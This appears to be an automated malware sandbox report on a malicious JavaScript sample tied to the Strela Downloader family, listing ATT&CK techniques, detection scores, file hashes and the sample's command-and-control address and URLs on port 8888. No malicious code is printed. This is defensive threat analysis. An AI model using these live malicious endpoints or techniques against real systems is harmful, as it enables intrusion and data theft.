Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
8058323181786520440.js	3%	Virustotal		Browse
8058323181786520440.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/No	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/:o	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Fo	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/s-	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/No	net.exe, 00000007.00000002.2103201922.0000022D73B01000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3327996045.000001FA49800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2102912272.000001FA49750000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2103201922.0000022D73AC8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Fo	net.exe, 00000007.00000002.2103201922.0000022D73B01000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/s-	net.exe, 00000007.00000002.2103201922.0000022D73AC8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/:o	net.exe, 00000007.00000002.2103201922.0000022D73B01000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588289
Start date and time:	2025-01-10 23:34:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	8058323181786520440.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 18.213.11.84, 54.224.241.105, 34.237.241.83, 50.16.47.176, 172.64.41.3, 162.159.61.3, 184.28.90.27, 199.232.210.172, 23.209.209.135, 95.101.148.135, 2.16.168.105, 2.16.168.107, 13.107.246.45, 20.109.210.53
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:35:06	API Interceptor	19x Sleep call for process: powershell.exe modified
17:35:10	API Interceptor	1x Sleep call for process: net.exe modified
17:35:10	API Interceptor	2x Sleep call for process: svchost.exe modified
17:35:23	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	26448249042746730897.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32750305971799721630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	998728891275936098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	199.232.210.172
	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	26448249042746730897.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5545194012153110815.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32750305971799721630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307253663040518
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugd:gJjJGtpTq2yv1AuNZRY3diu8iBVqFL
MD5:	55C6AC8467F2FEA9B1B8E857CC3E116F
SHA1:	A56686E0BC027DC787A74DD80E3F29904683CF7B
SHA-256:	0E955B5081197DE72CEACC4C287A50C8B6BD831A71A3468469F6C108F614F6DA
SHA-512:	FCCBE286F65E87371B53C91F69561257F76C989106063CA70A593834AA9C091CB24C862B22CA59C6F0BB5F8366E7EFAD332F354DF16D0E4EFE4DD0E1F64853EC
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xdf9580e4, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585753283546435
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:xaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	7D39DDFB17CC170E5DE89704A2F74FF4
SHA1:	76869ED9BAC41C9C3CDC53371A1985C9860DE762
SHA-256:	050C6326EEE97CEB7EB793E1DC8CA29287C0FDC35E3C9722FCF768EBB9AB96F4
SHA-512:	7CC0A8206A574961E324BEF325162B2ADF54784A9D73B5228A4A3375EBB3C468158978C6EDCBA82FEF5751A1BDCCA978EE3279B55BA5AD905DE97DBB807FB491
Malicious:	false
Preview:	...... ...............X\...;...{......................0.z..........{...#...}5.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{.....................................$.#...}U..................r.g.#...}U..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08104037160020645
Encrypted:	false
SSDEEP:	3:plEYeYmmtGuAJkhvekl1WMsGDKAllrekGltll/SPj:LEzvmtrxlgMsGDKAJe3l
MD5:	FD9BC9F95A464E037D6841BCD6A37BCE
SHA1:	A1F02AC215710A91EC31C4D570A4A9BB3A09F470
SHA-256:	40C21889987FE2E15FC8A13B16A506A32E0121D879DA12ED2E42EB58802163CF
SHA-512:	2283599E4F68BDC1DAB643E40BF8024A4A86233602B030F2EE4B7A364C7627CDC00E869B6390396FDAC0DC38ADF57F0555DD7F2435A9F73D78B973E375F13707
Malicious:	false
Preview:	j........................................;...{...#...}U......{...............{.......{...XL......{...................r.g.#...}U.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.14845982145348
Encrypted:	false
SSDEEP:	6:iO4XEHq2P92nKuAl9OmbnIFUtSXE0ZmwsXEdFVkwO92nKuAl9OmbjLJ:7cEHv4HAahFUtKE0/QEdFV5LHAaSJ
MD5:	CA02BBA54CFE06FA49344D1BEA329277
SHA1:	A07103013AE0A99A04A05E51AA0AC3BCED3BE75D
SHA-256:	39F2376D8C929A7F2D776FB1C69EA00563FCFE0F6AAB2974227554C2BC9F4C24
SHA-512:	67123AD1700483DFB1F9F03112516A6E470BE99910E177223A1501E773B918B4D70780E3902624DADE5AE3C80A2EE3F7D56825F63C2696F9559E58A3DF2AC181
Malicious:	false
Preview:	2025/01/10-17:35:10.185 b80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:35:10.187 b80 Recovering log #3.2025/01/10-17:35:10.188 b80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.14845982145348
Encrypted:	false
SSDEEP:	6:iO4XEHq2P92nKuAl9OmbnIFUtSXE0ZmwsXEdFVkwO92nKuAl9OmbjLJ:7cEHv4HAahFUtKE0/QEdFV5LHAaSJ
MD5:	CA02BBA54CFE06FA49344D1BEA329277
SHA1:	A07103013AE0A99A04A05E51AA0AC3BCED3BE75D
SHA-256:	39F2376D8C929A7F2D776FB1C69EA00563FCFE0F6AAB2974227554C2BC9F4C24
SHA-512:	67123AD1700483DFB1F9F03112516A6E470BE99910E177223A1501E773B918B4D70780E3902624DADE5AE3C80A2EE3F7D56825F63C2696F9559E58A3DF2AC181
Malicious:	false
Preview:	2025/01/10-17:35:10.185 b80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:35:10.187 b80 Recovering log #3.2025/01/10-17:35:10.188 b80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.108679662131766
Encrypted:	false
SSDEEP:	6:iO4Xls3+q2P92nKuAl9Ombzo2jMGIFUtSXzqlWZmwsXUNVkwO92nKuAl9Ombzo23:7cls3+v4HAa8uFUtKZ/QUNV5LHAa8RJ
MD5:	DEE7D49B398A5F49030869C8441C1829
SHA1:	8CD6386EC41CEDD9AA49B6072BA80545D30068C3
SHA-256:	28574CFFA5A9EAE6A876860CF5442F2A725A1980B6FF548410F7148F1401A2EE
SHA-512:	B331B231D88377A4DEADA06F6DC5C56F20E0FE13019DD4711664958853245C9AE24BC8B48B533382D1F7DAF6D6F5D4A9D14A03AD3BA557144F632735146C9C51
Malicious:	false
Preview:	2025/01/10-17:35:10.225 50c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:35:10.226 50c Recovering log #3.2025/01/10-17:35:10.227 50c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.108679662131766
Encrypted:	false
SSDEEP:	6:iO4Xls3+q2P92nKuAl9Ombzo2jMGIFUtSXzqlWZmwsXUNVkwO92nKuAl9Ombzo23:7cls3+v4HAa8uFUtKZ/QUNV5LHAa8RJ
MD5:	DEE7D49B398A5F49030869C8441C1829
SHA1:	8CD6386EC41CEDD9AA49B6072BA80545D30068C3
SHA-256:	28574CFFA5A9EAE6A876860CF5442F2A725A1980B6FF548410F7148F1401A2EE
SHA-512:	B331B231D88377A4DEADA06F6DC5C56F20E0FE13019DD4711664958853245C9AE24BC8B48B533382D1F7DAF6D6F5D4A9D14A03AD3BA557144F632735146C9C51
Malicious:	false
Preview:	2025/01/10-17:35:10.225 50c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:35:10.226 50c Recovering log #3.2025/01/10-17:35:10.227 50c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\928f0a1c-c8a7-4900-98bc-0626380c9487.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.045658242249268
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqIXhsBdOg2Huxcaq3QYiubxnP7E4T3OF+:Y2sRdsRidMHuI3QYhbxP7nbI+
MD5:	4594B306292C7596A91D191655D816CA
SHA1:	6FD5F5916947B312137CBFA10027258241ECA95E
SHA-256:	5C8E58ED5C890D3C501EC223DF28D763DDEDA7CE3ADA60116102864DEB5F34EE
SHA-512:	3CD657466BF750E0F1A74F0698A72B340C73CBFE7E391D36C2FA2320CE1F9656B64A351288C8B16F46D694C4FA9E240C514101549B5183E84BA2CCB1A5EDF006
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381108516142864","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":130028},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.045658242249268
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqIXhsBdOg2Huxcaq3QYiubxnP7E4T3OF+:Y2sRdsRidMHuI3QYhbxP7nbI+
MD5:	4594B306292C7596A91D191655D816CA
SHA1:	6FD5F5916947B312137CBFA10027258241ECA95E
SHA-256:	5C8E58ED5C890D3C501EC223DF28D763DDEDA7CE3ADA60116102864DEB5F34EE
SHA-512:	3CD657466BF750E0F1A74F0698A72B340C73CBFE7E391D36C2FA2320CE1F9656B64A351288C8B16F46D694C4FA9E240C514101549B5183E84BA2CCB1A5EDF006
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381108516142864","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":130028},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.241122252873549
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUv0/g3L:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNL0
MD5:	1122F745E3D49948DC61136AF12D6CAD
SHA1:	89D9CB3D3B1223500F881123B8B5CB7202BAFF4C
SHA-256:	AC40AE7F634C4B9946049C3F98449862EC4FF9A9270AA51FE27DDF202A696314
SHA-512:	AAD4CDE2553C42D5A929825091CE74FEC650E4791162E9ABD9D0F5085B177403F5F14C9800B68F1B6FC40F939CEB012D1C4413A9504BDE3FFF234B43C1DF0FFB
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.138546282861582
Encrypted:	false
SSDEEP:	6:iO4Xc+q2P92nKuAl9OmbzNMxIFUtSXslWZmwsXCzVkwO92nKuAl9OmbzNMFLJ:7cc+v4HAa8jFUtKf/QUV5LHAa84J
MD5:	1F30563BEFED114B258F103E1DE04C80
SHA1:	7F935BB0ABB2A5064B9805DFFDA583254449175A
SHA-256:	8FDBF4AB36582215DC7A66C45F00FFABB1E7C2A35A4DFC48314F75F4CF321400
SHA-512:	EC740639F676151B5A346245334BCF861F095C06444E1C12A37F09C7672F5BA6D28B1CB1139D1B78323209074F0DABDA57D9F2EEC83EACF003C99A7AB032D495
Malicious:	false
Preview:	2025/01/10-17:35:10.418 50c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:35:10.422 50c Recovering log #3.2025/01/10-17:35:10.425 50c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.138546282861582
Encrypted:	false
SSDEEP:	6:iO4Xc+q2P92nKuAl9OmbzNMxIFUtSXslWZmwsXCzVkwO92nKuAl9OmbzNMFLJ:7cc+v4HAa8jFUtKf/QUV5LHAa84J
MD5:	1F30563BEFED114B258F103E1DE04C80
SHA1:	7F935BB0ABB2A5064B9805DFFDA583254449175A
SHA-256:	8FDBF4AB36582215DC7A66C45F00FFABB1E7C2A35A4DFC48314F75F4CF321400
SHA-512:	EC740639F676151B5A346245334BCF861F095C06444E1C12A37F09C7672F5BA6D28B1CB1139D1B78323209074F0DABDA57D9F2EEC83EACF003C99A7AB032D495
Malicious:	false
Preview:	2025/01/10-17:35:10.418 50c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:35:10.422 50c Recovering log #3.2025/01/10-17:35:10.425 50c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
